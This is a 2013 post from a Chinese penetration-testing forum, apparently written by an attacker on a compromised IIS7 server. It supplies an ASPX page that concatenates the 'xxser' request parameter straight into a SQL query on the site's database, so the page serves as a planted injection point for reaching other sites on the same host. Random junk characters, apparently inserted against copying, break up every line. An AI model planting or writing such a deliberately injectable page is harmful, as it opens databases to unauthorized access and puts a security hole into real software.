中国网络渗透测试联盟
标题:
利用aspx构造注射来跨站
[打印本页]
作者:
admin
时间:
2013-3-20 21:32
标题:
利用aspx构造注射来跨站
昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
8 O, l: q$ Y4 H8 {* ~- F1 \7 B% P
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
2 Q# z9 N( J' p; `% |
代码量不多,自己写个拉倒了。烦死了。
' w" R5 {: z4 M% y- b
0 O; x. A2 F' d3 k& ^$ b
8 `1 ]% R/ Z4 K: ~8 Z
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
/ G. \$ p, O* z) Q
<html xmlns="http://www.w3.org/1999/xhtml">
# r7 J5 M! s& k6 _! ?
<head runat="server">
; w6 I- E* n: c3 ]
<title>暗影aspx构造注射专用页面</title>
7 l5 \/ y5 g+ P. o! I: ^
</head>
0 Q3 b0 |# ?* u7 |7 X O- E. g
<body>
E* h' Q1 j# k! L. l+ `
<form id="form1" runat="server">
7 _/ B* z2 U& x' g& \
<div>
6 E: ~( u+ h- a9 ^) I- f" x O6 ?
<script language="c#" runat="server">
0 q# H8 ` e# F$ E" m: w; S) L
. b# b* W I+ F& }
void page_init(object sender, EventArgs e)
) P8 j( i' `% ? a6 K; l
{
1 Z0 h* g& T. f+ ]: X
4 ~8 n) t: V- M* H6 U9 O
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
5 N( s* N& h5 @" b! A
" Q) h4 Q& r" b' `! j3 k( p
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
# _7 D, V( L. v
conn.Open();
2 w/ Q8 F- h6 c0 `
" M5 a# G. X! p
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
2 y6 s, D1 p. }$ u
; b7 J- ?+ A, J! w2 R
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
% z: ^+ A+ S) k8 ]- l- q- p, P! `$ M
int x = command.ExecuteNonQuery();
7 _2 h0 e# [$ ]' l
Response.Write(i+"\n");
) g. C A& c6 z$ v
Response.Write(x);
2 M8 I# [( o$ I# L) E+ _$ T
conn.Close();
; \# a; }$ d. c; j+ k+ h( b% |7 c# h
}
7 n( k; p! w7 D5 D$ o
- Q) Q. Y1 ] p
</script>
i% \- g" ]8 V0 S
</div>
* r: U% m% {" ^ ^
</form>
: T9 f5 ]' e# K2 n( u2 O: o
</body>
8 f3 Q1 K: o& U( \$ }& O
</html>
) W r+ ~5 }7 I) J& B- z
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2